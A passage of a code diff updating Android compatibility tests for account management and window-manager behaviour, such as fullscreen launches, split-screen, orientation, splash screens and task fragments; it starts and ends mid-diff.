.errorOnFail() + .await(); + } + private Bundle addAccountWithTypeOnce(String type) throws Exception { return mAccountManager.addAccount( type, @@ -312,13 +305,23 @@ public final class AccountManagementTest { /* handler= */ null).getResult(); } + private Bundle addAccountWithTypeOnce(TestAppInstance testApp, String type) + throws Exception { + return testApp.accountManager().addAccount( + type, + /* authTokenType= */ null, + /* requiredFeatures= */ null, + /* addAccountOptions= */ null, + /* activity= */ null, + /* callback= */ null, + /* handler= */ null).getResult(); + } + /** * Blocks until {@code account} is removed. */ - // TODO(b/199077745): Remove sleep once AccountManager race condition is fixed - private Bundle removeAccount(Account account) - throws OperationCanceledException, IOException, - InterruptedException, AuthenticatorException { + private Bundle removeAccountFromInstrumentedApp(Account account) + throws Exception { return mAccountManager.removeAccount( account, /* activity= */ null, @@ -326,4 +329,17 @@ public final class AccountManagementTest { /* handler= */ null) .getResult(); } + + /** + * Blocks until {@code account} is removed. + */ + private Bundle removeAccount(TestAppInstance testApp, Account account) + throws Exception { + return testApp.accountManager().removeAccount( + account, + /* activity= */ null, + /* callback= */ null, + /* handler= */ null) + .getResult(); + } } diff --git a/tests/framework/base/windowmanager/AndroidManifest.xml b/tests/framework/base/windowmanager/AndroidManifest.xml index b765cb049cd..181fe06bddc 100644 --- a/tests/framework/base/windowmanager/AndroidManifest.xml +++ b/tests/framework/base/windowmanager/AndroidManifest.xml @@ -336,7 +336,8 @@ <activity android:name="android.server.wm.WindowInsetsLayoutTests$TestActivity"/> <activity android:name="android.server.wm.WindowInsetsControllerTests$TestActivity" android:theme="@style/no_starting_window"/> - <activity android:name="android.server.wm.WindowInsetsControllerTests$TestHideOnCreateActivity"/> + <activity android:name="android.server.wm.WindowInsetsControllerTests$TestHideOnCreateActivity" + android:windowSoftInputMode="adjustPan|stateUnchanged"/> <activity android:name="android.server.wm.WindowInsetsControllerTests$TestShowOnCreateActivity"/> <activity android:name="android.server.wm.DragDropTest$DragDropActivity" diff --git a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java index 82c3770dcbc..2258da2d424 100644 --- a/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java +++ b/tests/framework/base/windowmanager/app/src/android/server/wm/app/AssistantActivity.java @@ -47,13 +47,14 @@ public class AssistantActivity extends Activity { final Intent launchIntent = new Intent(); launchIntent.setComponent(launchActivity) .setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK); - final ActivityOptions activityOptions = ActivityOptions.makeBasic(); - activityOptions.setLaunchWindowingMode(WINDOWING_MODE_FULLSCREEN); if (getIntent().hasExtra(EXTRA_ASSISTANT_DISPLAY_ID)) { - activityOptions.setLaunchDisplayId(Integer.parseInt(getIntent() + ActivityOptions displayOptions = ActivityOptions.makeBasic(); + displayOptions.setLaunchDisplayId(Integer.parseInt(getIntent() .getStringExtra(EXTRA_ASSISTANT_DISPLAY_ID))); + startActivity(launchIntent, displayOptions.toBundle()); + } else { + startActivity(launchIntent); } - startActivity(launchIntent, activityOptions.toBundle()); } // Enter pip if requested diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java index 401ebaff039..61903160963 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/ActivityVisibilityTests.java @@ -24,7 +24,6 @@ import static android.content.Intent.FLAG_ACTIVITY_TASK_ON_HOME; import static android.server.wm.CliIntentExtra.extraString; import static android.server.wm.UiDeviceUtils.pressBackButton; import static android.server.wm.UiDeviceUtils.pressHomeButton; -import static android.server.wm.UiDeviceUtils.pressSleepButton; import static android.server.wm.VirtualDisplayHelper.waitForDefaultDisplayState; import static android.server.wm.WindowManagerState.STATE_RESUMED; import static android.server.wm.WindowManagerState.STATE_STOPPED; @@ -64,6 +63,7 @@ import android.server.wm.CommandSession.ActivitySession; import android.server.wm.CommandSession.ActivitySessionClient; import android.server.wm.app.Components; +import org.junit.Ignore; import org.junit.Rule; import org.junit.Test; @@ -327,9 +327,11 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase { } getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY) + .setWindowingMode(WINDOWING_MODE_FULLSCREEN) .setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute(); getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY) + .setWindowingMode(WINDOWING_MODE_FULLSCREEN) .setIntentFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME).execute(); mBroadcastActionTrigger.finishBroadcastReceiverActivity(); @@ -349,30 +351,27 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase { } // Start LaunchingActivity and BroadcastReceiverActivity in two separate tasks. getLaunchActivityBuilder().setTargetActivity(BROADCAST_RECEIVER_ACTIVITY) + .setWindowingMode(WINDOWING_MODE_FULLSCREEN) .setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute(); waitAndAssertResumedActivity(BROADCAST_RECEIVER_ACTIVITY,"Activity must be resumed"); - final int taskId1 = mWmState.getTaskByActivity(LAUNCHING_ACTIVITY).mTaskId; - final int taskId2 = mWmState.getTaskByActivity(BROADCAST_RECEIVER_ACTIVITY).mTaskId; + final int taskId = mWmState.getTaskByActivity(BROADCAST_RECEIVER_ACTIVITY).mTaskId; try { - runWithShellPermission(() -> { - mAtm.startSystemLockTaskMode(taskId1); - mAtm.startSystemLockTaskMode(taskId2); - }); + runWithShellPermission(() -> mAtm.startSystemLockTaskMode(taskId)); getLaunchActivityBuilder() .setUseInstrumentation() .setTargetActivity(BROADCAST_RECEIVER_ACTIVITY) + .setWindowingMode(WINDOWING_MODE_FULLSCREEN) .setIntentFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_TASK_ON_HOME).execute(); - waitAndAssertResumedActivity(BROADCAST_RECEIVER_ACTIVITY,"Activity must be resumed"); - mBroadcastActionTrigger.finishBroadcastReceiverActivity(); - mWmState.waitAndAssertActivityRemoved(BROADCAST_RECEIVER_ACTIVITY); - - mWmState.assertHomeActivityVisible(false); + mWmState.waitForActivityState(BROADCAST_RECEIVER_ACTIVITY, STATE_RESUMED); } finally { - runWithShellPermission(() -> { - mAtm.stopSystemLockTaskMode(); - }); + runWithShellPermission(() -> mAtm.stopSystemLockTaskMode()); } + + mBroadcastActionTrigger.finishBroadcastReceiverActivity(); + mWmState.waitAndAssertActivityRemoved(BROADCAST_RECEIVER_ACTIVITY); + + mWmState.assertHomeActivityVisible(false); } @Test @@ -601,6 +600,7 @@ public class ActivityVisibilityTests extends ActivityManagerTestBase { } @Test + @Ignore("Unable to disable AOD for some devices") public void testTurnScreenOnWithAttr_Freeform() { assumeTrue(supportsLockScreen()); assumeTrue(supportsFreeform()); diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java index bdd4cf4596a..4f03eb20d63 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/AppConfigurationTests.java @@ -71,6 +71,7 @@ import android.server.wm.CommandSession.SizeInfo; import android.server.wm.TestJournalProvider.TestJournalContainer; import android.util.DisplayMetrics; import android.view.Display; +import android.window.WindowContainerTransaction; import org.junit.Test; @@ -282,9 +283,13 @@ public class AppConfigurationTests extends MultiDisplayTestBase { final SizeInfo dockedSizes = getLastReportedSizesForActivity(activityName); assertSizesAreSane(initialFullscreenSizes, dockedSizes); - // Restore to fullscreen. separateTestJournal(); - mTaskOrganizer.dismissSplitScreen(); + // Restore to fullscreen. + final int activityTaskId = mWmState.getTaskByActivity(activityName).mTaskId; + final WindowContainerTransaction wct = new WindowContainerTransaction() + .setWindowingMode(mTaskOrganizer.getTaskInfo(activityTaskId).getToken(), + WINDOWING_MODE_FULLSCREEN); + mTaskOrganizer.dismissSplitScreen(wct, false /* primaryOnTop */); // Home task could be on top since it was the top-most task while in split-screen mode // (dock task was minimized), start the activity again to ensure the activity is at // foreground. @@ -358,6 +363,9 @@ public class AppConfigurationTests extends MultiDisplayTestBase { public void testTranslucentAppOrientationRequests() { assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest()); + // Disable fixed to user rotation by creating a rotation session + createManagedRotationSession(); + separateTestJournal(); launchActivity(PORTRAIT_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN); final SizeInfo initialReportedSizes = @@ -762,7 +770,7 @@ public class AppConfigurationTests extends MultiDisplayTestBase { launchActivity(PORTRAIT_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN); mWmState.assertVisibility(PORTRAIT_ORIENTATION_ACTIVITY, true /* visible */); - final SizeInfo initialSize = getLastReportedSizesForActivity(PORTRAIT_ORIENTATION_ACTIVITY); + final SizeInfo initialSize = activitySession.getConfigInfo().sizeInfo; // Rotate the display and check that the orientation doesn't change rotationSession.set(ROTATION_0); @@ -788,6 +796,9 @@ public class AppConfigurationTests extends MultiDisplayTestBase { public void testTaskMoveToBackOrientation() { assumeTrue("Skipping test: no orientation request support", supportsOrientationRequest()); + // Disable fixed to user rotation by creating a rotation session + createManagedRotationSession(); + // Start landscape activity. launchActivity(LANDSCAPE_ORIENTATION_ACTIVITY, WINDOWING_MODE_FULLSCREEN); mWmState.assertVisibility(LANDSCAPE_ORIENTATION_ACTIVITY, true /* visible */); diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java index aa85e2c0f9d..cdf5c121cd8 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java @@ -200,9 +200,9 @@ public class AssistantStackTests extends ActivityManagerTestBase { removeRootTasksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT); } - // Launch an assistant activity on top of an existing fullscreen activity, and ensure that - // the fullscreen activity is still visible and on top after the assistant activity finishes - launchActivityOnDisplay(TEST_ACTIVITY, WINDOWING_MODE_FULLSCREEN, mAssistantDisplayId); + // Launch an assistant activity on top of an existing activity, and ensure that the activity + // is still visible and on top after the assistant activity finishes + launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId); try (final AssistantSession assistantSession = new AssistantSession()) { assistantSession.setVoiceInteractionService(ASSISTANT_VOICE_INTERACTION_SERVICE); diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java index 0c561691df7..16bdeb6d94c 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/CompatChangeTests.java @@ -55,6 +55,11 @@ import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.junit.rules.TestRule; +import org.junit.runner.RunWith; +import org.junit.runners.Parameterized; + +import java.util.Arrays; +import java.util.List; /** * The test is focused on compatibility changes that have an effect on WM logic, and tests that @@ -71,6 +76,7 @@ import org.junit.rules.TestRule; * atest CtsWindowManagerDeviceTestCases:CompatChangeTests */ @Presubmit +@RunWith(Parameterized.class) public final class CompatChangeTests extends MultiDisplayTestBase { private static final ComponentName RESIZEABLE_PORTRAIT_ACTIVITY = component(ResizeablePortraitActivity.class); @@ -96,6 +102,14 @@ public final class CompatChangeTests extends MultiDisplayTestBase { private static final float FLOAT_EQUALITY_DELTA = 0.01f; + @Parameterized.Parameters(name= "{0}") + public static List<Double> data() { + return Arrays.asList(0.5, 2.0); + } + + @Parameterized.Parameter(0) + public double resizeRatio; + @Rule public TestRule compatChangeRule = new PlatformCompatChangeRule(); @@ -487,10 +501,10 @@ public final class CompatChangeTests extends MultiDisplayTestBase { */ private void runSizeCompatTest(ComponentName activity, int windowingMode, boolean inSizeCompatModeAfterResize) { - runSizeCompatTest(activity, windowingMode, /* resizeRatio= */ 0.5, - inSizeCompatModeAfterResize); - restoreDisplay(activity); - runSizeCompatTest(activity, windowingMode, /* resizeRatio= */ 2, + mWmState.computeState(); + WindowManagerState.DisplayContent originalDC = mWmState.getDisplay(DEFAULT_DISPLAY); + + runSizeCompatTest(activity, windowingMode, resizeRatio, inSizeCompatModeAfterResize); } @@ -552,11 +566,11 @@ public final class CompatChangeTests extends MultiDisplayTestBase { private void runSizeCompatModeSandboxTest(ComponentName activity, boolean isSandboxed, boolean inSizeCompatModeAfterResize) { assertThat(getInitialDisplayAspectRatio()).isLessThan(ACTIVITY_LARGE_MIN_ASPECT_RATIO); - runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, /* resizeRatio= */ 0.5, - inSizeCompatModeAfterResize); - assertSandboxedByProvidesMaxBounds(activity, isSandboxed); - restoreDisplay(activity); - runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, /* resizeRatio= */ 2, + + mWmState.computeState(); + WindowManagerState.DisplayContent originalDC = mWmState.getDisplay(DEFAULT_DISPLAY); + + runSizeCompatTest(activity, WINDOWING_MODE_FULLSCREEN, resizeRatio, inSizeCompatModeAfterResize); assertSandboxedByProvidesMaxBounds(activity, isSandboxed); } @@ -696,13 +710,14 @@ public final class CompatChangeTests extends MultiDisplayTestBase { } /** - * Restore the display size and ensure configuration changes are complete. + * Wait for the display to be restored to the original display content. */ - private void restoreDisplay(ComponentName activity) { - final Rect originalBounds = mWmState.getActivity(activity).getBounds(); - mDisplayMetricsSession.restoreDisplayMetrics(); - // Ensure configuration changes are complete after resizing the display. - waitForActivityBoundsChanged(activity, originalBounds); + private void waitForRestoreDisplay(WindowManagerState.DisplayContent originalDisplayContent) { + mWmState.waitForWithAmState(wmState -> { + mDisplayMetricsSession.restoreDisplayMetrics(); + WindowManagerState.DisplayContent dc = mWmState.getDisplay(DEFAULT_DISPLAY); + return dc.equals(originalDisplayContent); + }, "waiting for display to be restored"); } /** diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java index 28608d0faa8..a19c0fadf09 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/DisplayCutoutTests.java @@ -25,6 +25,7 @@ import static android.server.wm.DisplayCutoutTests.TestActivity.EXTRA_CUTOUT_MOD import static android.server.wm.DisplayCutoutTests.TestActivity.EXTRA_ORIENTATION; import static android.server.wm.DisplayCutoutTests.TestDef.Which.DISPATCHED; import static android.server.wm.DisplayCutoutTests.TestDef.Which.ROOT; +import static android.view.Display.DEFAULT_DISPLAY; import static android.view.ViewGroup.LayoutParams.MATCH_PARENT; import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS; import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_DEFAULT; @@ -54,7 +55,6 @@ import android.content.Intent; import android.content.pm.PackageManager; import android.graphics.Insets; import android.graphics.Path; -import android.graphics.Point; import android.graphics.Rect; import android.os.Bundle; import android.platform.test.annotations.Presubmit; @@ -527,14 +527,9 @@ public class DisplayCutoutTests { new Intent().putExtra(EXTRA_CUTOUT_MODE, cutoutMode) .putExtra(EXTRA_ORIENTATION, orientation)); PollingCheck.waitFor(activity::hasWindowFocus); - PollingCheck.waitFor(() -> { - final Rect appBounds = getAppBounds(activity); - final Point displaySize = new Point(); - activity.getDisplay().getRealSize(displaySize); - // During app launch into a different rotation, we have temporarily have the display - // in a different rotation than the app itself. Wait for this to settle. - return (appBounds.width() > appBounds.height()) == (displaySize.x > displaySize.y); - }); + final WindowManagerStateHelper wmState = new WindowManagerStateHelper(); + wmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY); + wmState.waitForDisplayUnfrozen(); return activity; } diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java index 065fb95af4e..ad931ec66b7 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayActivityLaunchTests.java @@ -19,6 +19,7 @@ package android.server.wm; import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT; import static android.app.WindowConfiguration.ACTIVITY_TYPE_RECENTS; import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD; +import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN; import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK; import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TOP; import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK; @@ -250,7 +251,7 @@ public class MultiDisplayActivityLaunchTests extends MultiDisplayTestBase { .setSimulateDisplay(true).createDisplay(); // Launch activity on new secondary display. - launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY, newDisplay.mId); + launchActivityOnDisplay(NON_RESIZEABLE_ACTIVITY, WINDOWING_MODE_FULLSCREEN, newDisplay.mId); waitAndAssertTopResumedActivity(NON_RESIZEABLE_ACTIVITY, newDisplay.mId, "Activity requested to launch on secondary display must be focused"); diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java index 98ad738f988..ae5284e7abc 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/MultiDisplayTestBase.java @@ -350,35 +350,6 @@ public class MultiDisplayTestBase extends ActivityManagerTestBase { return mObjectTracker.manage(new DisplayMetricsSession(displayId)); } - public static class IgnoreOrientationRequestSession implements AutoCloseable { - private static final String WM_SET_IGNORE_ORIENTATION_REQUEST = - "wm set-ignore-orientation-request "; - private static final String WM_GET_IGNORE_ORIENTATION_REQUEST = - "wm get-ignore-orientation-request"; - private static final Pattern IGNORE_ORIENTATION_REQUEST_PATTERN = - Pattern.compile("ignoreOrientationRequest (true|false) for displayId=\\d+"); - - final int mDisplayId; - final boolean mInitialValue; - - IgnoreOrientationRequestSession(int displayId, boolean value) { - mDisplayId = displayId; - Matcher matcher = IGNORE_ORIENTATION_REQUEST_PATTERN.matcher( - executeShellCommand(WM_GET_IGNORE_ORIENTATION_REQUEST + " -d " + mDisplayId)); - assertTrue("get-ignore-orientation-request should match pattern", matcher.find()); - mInitialValue = Boolean.parseBoolean(matcher.group(1)); - - executeShellCommand("wm set-ignore-orientation-request true -d " + mDisplayId); - executeShellCommand(WM_SET_IGNORE_ORIENTATION_REQUEST + value + " -d " + mDisplayId); - } - - @Override - public void close() { - executeShellCommand( - WM_SET_IGNORE_ORIENTATION_REQUEST + mInitialValue + " -d " + mDisplayId); - } - } - /** @see ObjectTracker#manage(AutoCloseable) */ protected IgnoreOrientationRequestSession createManagedIgnoreOrientationRequestSession( int displayId, boolean value) { diff --git a/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java index b664b1121ae..d7d457393c8 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/RoundedCornerTests.java @@ -22,14 +22,13 @@ import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_REVERSE_LANDSCA import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_REVERSE_PORTRAIT; import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_UNSPECIFIED; import static android.server.wm.RoundedCornerTests.TestActivity.EXTRA_ORIENTATION; +import static android.view.Display.DEFAULT_DISPLAY; import static android.view.RoundedCorner.POSITION_BOTTOM_LEFT; import static android.view.RoundedCorner.POSITION_BOTTOM_RIGHT; import static android.view.RoundedCorner.POSITION_TOP_LEFT; import static android.view.RoundedCorner.POSITION_TOP_RIGHT; -import static android.view.ViewGroup.LayoutParams.MATCH_PARENT; import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE; import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS; -import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_PANEL; import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation; @@ -56,6 +55,7 @@ import androidx.test.rule.ActivityTestRule; import com.android.compatibility.common.util.PollingCheck; import org.junit.After; +import org.junit.Before; import org.junit.Rule; import org.junit.Test; import org.junit.runner.RunWith; @@ -63,7 +63,7 @@ import org.junit.runners.Parameterized; @Presubmit @RunWith(Parameterized.class) -public class RoundedCornerTests { +public class RoundedCornerTests extends ActivityManagerTestBase { private static final String TAG = "RoundedCornerTests"; private final static int POSITION_LENGTH = 4; private final static long TIMEOUT = 1000; // milliseconds @@ -84,6 +84,14 @@ public class RoundedCornerTests { @Parameterized.Parameter(1) public String orientationName; + @Before + public void setUp() { + // On devices with ignore_orientation_request set to true, the test activity will be + // letterboxed in a landscape display which make the activity not a fullscreen one. + // We should set it to false while testing. + mObjectTracker.manage(new IgnoreOrientationRequestSession(DEFAULT_DISPLAY, false)); + } + @After public void tearDown() { mTestActivity.finishActivity(); @@ -155,6 +163,8 @@ public class RoundedCornerTests { getWindow().requestFeature(Window.FEATURE_NO_TITLE); getWindow().getAttributes().layoutInDisplayCutoutMode = LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS; + getWindow().getDecorView().getWindowInsetsController().hide( + WindowInsets.Type.systemBars()); if (getIntent() != null) { setRequestedOrientation(getIntent().getIntExtra( EXTRA_ORIENTATION, SCREEN_ORIENTATION_UNSPECIFIED)); diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java index b49e726114a..96359231e88 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java @@ -55,6 +55,7 @@ import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_HA import static android.server.wm.app.Components.TestStartingWindowKeys.REQUEST_SET_NIGHT_MODE_ON_CREATE; import static android.view.Display.DEFAULT_DISPLAY; import static android.view.WindowInsets.Type.captionBar; +import static android.view.WindowInsets.Type.statusBars; import static android.view.WindowInsets.Type.systemBars; import static org.hamcrest.MatcherAssert.assertThat; @@ -174,9 +175,10 @@ public class SplashscreenTests extends ActivityManagerTestBase { final Bitmap image = takeScreenshot(); final WindowMetrics windowMetrics = mWm.getMaximumWindowMetrics(); final Rect stableBounds = new Rect(windowMetrics.getBounds()); - Insets insets = windowMetrics.getWindowInsets().getInsetsIgnoringVisibility( - systemBars() & ~captionBar()); - stableBounds.inset(insets); + Insets statusBarInsets = windowMetrics.getWindowInsets().getInsetsIgnoringVisibility( + statusBars()); + stableBounds.inset(windowMetrics.getWindowInsets().getInsetsIgnoringVisibility( + systemBars() & ~captionBar())); WindowManagerState.WindowState startingWindow = mWmState.findFirstWindowWithType( WindowManager.LayoutParams.TYPE_APPLICATION_STARTING); @@ -188,9 +190,8 @@ public class SplashscreenTests extends ActivityManagerTestBase { appBounds = new Rect(startingWindow.getFrame()); } - Rect topInsetsBounds = new Rect(insets.left, 0, appBounds.right - insets.right, insets.top); - Rect bottomInsetsBounds = new Rect(insets.left, appBounds.bottom - insets.bottom, - appBounds.right - insets.right, appBounds.bottom); + Rect statusBarInsetsBounds = new Rect(statusBarInsets.left, 0, + appBounds.right - statusBarInsets.right, statusBarInsets.top); assertFalse("Couldn't find splash screen bounds. Impossible to assert the colors", appBounds.isEmpty()); @@ -206,11 +207,8 @@ public class SplashscreenTests extends ActivityManagerTestBase { appBounds.intersect(stableBounds); assertColors(image, appBounds, primaryColor, 0.99f, secondaryColor, 0.02f, ignoreRect); - if (isFullscreen && !topInsetsBounds.isEmpty()) { - assertColors(image, topInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null); - } - if (isFullscreen && !bottomInsetsBounds.isEmpty()) { - assertColors(image, bottomInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, + if (isFullscreen && !statusBarInsetsBounds.isEmpty()) { + assertColors(image, statusBarInsetsBounds, primaryColor, 0.80f, secondaryColor, 0.10f, null); } } diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java index 758585670dc..2fa3ec818bc 100644 --- a/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java +++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitActivityLifecycleTest.java @@ -16,6 +16,7 @@ package android.server.wm; +import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN; import static android.app.WindowConfiguration.WINDOWING_MODE_MULTI_WINDOW; import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK; import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK; @@ -73,7 +74,10 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase { @Override public void setUp() throws Exception { super.setUp(); - mOwnerActivity = startActivity(ActivityA.class); + // Launch activities in fullscreen, otherwise, some tests fail on devices which use freeform + // as the default windowing mode, because tests' prerequisite are that activity A, B, and C + // need to overlay completely, but they can be partially overlay as freeform windows. + mOwnerActivity = startActivityInWindowingModeFullScreen(ActivityA.class); mOwnerToken = getActivityToken(mOwnerActivity); } @@ -280,7 +284,41 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase { waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed."); waitAndAssertActivityState(mActivityB, STATE_STOPPED, "Activity B is occluded by Activity C, so it must be stopped."); - waitAndAssertResumedActivity(mActivityA, "Activity B must be resumed."); + waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed."); + } + + /** + * Verifies the behavior of the activities in a TaskFragment that is sandwiched in adjacent + * TaskFragments. It should be hidden even if part of it is not cover by the adjacent + * TaskFragment above. + */ + @Test + public void testSandwichTaskFragmentInAdjacent_partialOccluding() { + // Initialize test environment by launching Activity A and B side-by-side. + initializeSplitActivities(false /* verifyEmbeddedTask */); + + final IBinder taskFragTokenA = mTaskFragA.getTaskFragToken(); + // TaskFragment C is not fully occluding TaskFragment B. + final Rect partialOccludingSideBounds = new Rect(mSideBounds); + partialOccludingSideBounds.left += 50; + final TaskFragmentCreationParams paramsC = mTaskFragmentOrganizer.generateTaskFragParams( + mOwnerToken, partialOccludingSideBounds, WINDOWING_MODE_MULTI_WINDOW); + final IBinder taskFragTokenC = paramsC.getFragmentToken(); + final WindowContainerTransaction wct = new WindowContainerTransaction() + // Create the side TaskFragment for C and launch + .createTaskFragment(paramsC) + .startActivityInTaskFragment(taskFragTokenC, mOwnerToken, mIntent, + null /* activityOptions */) + .setAdjacentTaskFragments(taskFragTokenA, taskFragTokenC, null /* options */); + + mTaskFragmentOrganizer.applyTransaction(wct); + // Wait for the TaskFragment of Activity C to be created. + mTaskFragmentOrganizer.waitForTaskFragmentCreated(); + + waitAndAssertResumedActivity(mActivityC, "Activity C must be resumed."); + waitAndAssertActivityState(mActivityB, STATE_STOPPED, + "Activity B is occluded by Activity C, so it must be stopped."); + waitAndAssertResumedActivity(mActivityA, "Activity A must be resumed."); } /** @@ -384,7 +422,7 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase { private void testActivityLaunchInExpandedTaskFragmentInternal() { final TaskFragmentCreationParams fullScreenParamsC = mTaskFragmentOrganizer - .generateTaskFragParams(mOwnerToken); + .generateTaskFragParams(mOwnerToken, new Rect(), WINDOWING_MODE_FULLSCREEN); final IBinder taskFragTokenC = fullScreenParamsC.getFragmentToken(); final WindowContainerTransaction wct = new WindowContainerTransaction() .createTaskFragment(fullScreenParamsC) @@ -498,7 +536,10 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase { public void testLaunchEmbeddedActivityWithShowWhenLocked() { assumeTrue(supportsLockScreen()); + // Create lock screen session and set credentials (since some devices will not show a + // lockscreen without credentials set). final LockScreenSession lockScreenSession = createManagedLockScreenSession(); + lockScreenSession.setLockCredential(); // Initialize test environment by launching Activity A and B (with showWhenLocked) // side-by-side. initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */); @@ -518,7 +559,10 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase { public void testLaunchEmbeddedActivitiesWithoutShowWhenLocked() { assumeTrue(supportsLockScreen()); + // Create lock screen session and set credentials (since some devices will not show a + // lockscreen without credentials set). final LockScreenSession lockScreenSession = createManagedLockScreenSession(); + lockScreenSession.setLockCredential(); // Initialize test environment by launching Activity A and B side-by-side. initializeSplitActivities(false /* verifyEmbeddedTask */, false /* showWhenLocked */); @@ -538,7 +582,10 @@ public class SplitActivityLifecycleTest extends TaskFragmentOrganizerTestBase { public void testLaunchEmbeddedActivitiesWithShowWhenLocked() { assumeTrue(supportsLockScreen()); + // Create lock screen session and set credentials (since some devices will not show a + // lockscreen without credentials set). final LockScreenSession lockScreenSession = createManagedLockScreenSession(); + lockScreenSession.setLockCredential(); // Initialize test environment by launching Activity A and B side-by-side. mOwnerActivity.setShowWhenLocked(true); initializeSplitActivities(false /* verifyEmbeddedTask */, true /* showWhenLocked */); @@ -561,7 +608,7 @@ public class 